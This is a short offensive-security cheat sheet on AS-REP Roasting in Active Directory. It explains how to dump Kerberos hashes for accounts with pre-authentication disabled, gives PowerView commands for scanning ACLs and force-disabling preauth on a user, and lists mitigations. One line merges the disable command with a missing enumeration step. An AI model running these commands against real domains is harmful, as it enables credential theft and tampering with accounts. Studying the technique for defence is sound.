AS-REP Roasting
Overview
Dump krbasrep5 hashes of user accounts without Kerberos pre-authentication
Users do not have to be service accounts
Must have pre-authentication disabled
Can request any authentication data (encrypted TGT) for any user since KDC skips validation
Crack dumped hash with hashcat
Exploitation
Force Disable Kerberos Preauth
# Using PowerView 3.0/dev
# Enumerate permissions for RDPUsers on ACLS
Invoke-ACLScanner -ResolveGUIDS | ?{ $_.IdentityReferenceName -match "RDPUsers" }
# Disable preauth for user
Set-DomainObject -Identity Control572User -XOR @{useraccountcontrol=4194304} -VerboseEnumerate Users with Preauth Disabled
Mitigation
Strong password policy
Enable Kerberos Pre-Authentication
Further Reading
Last updated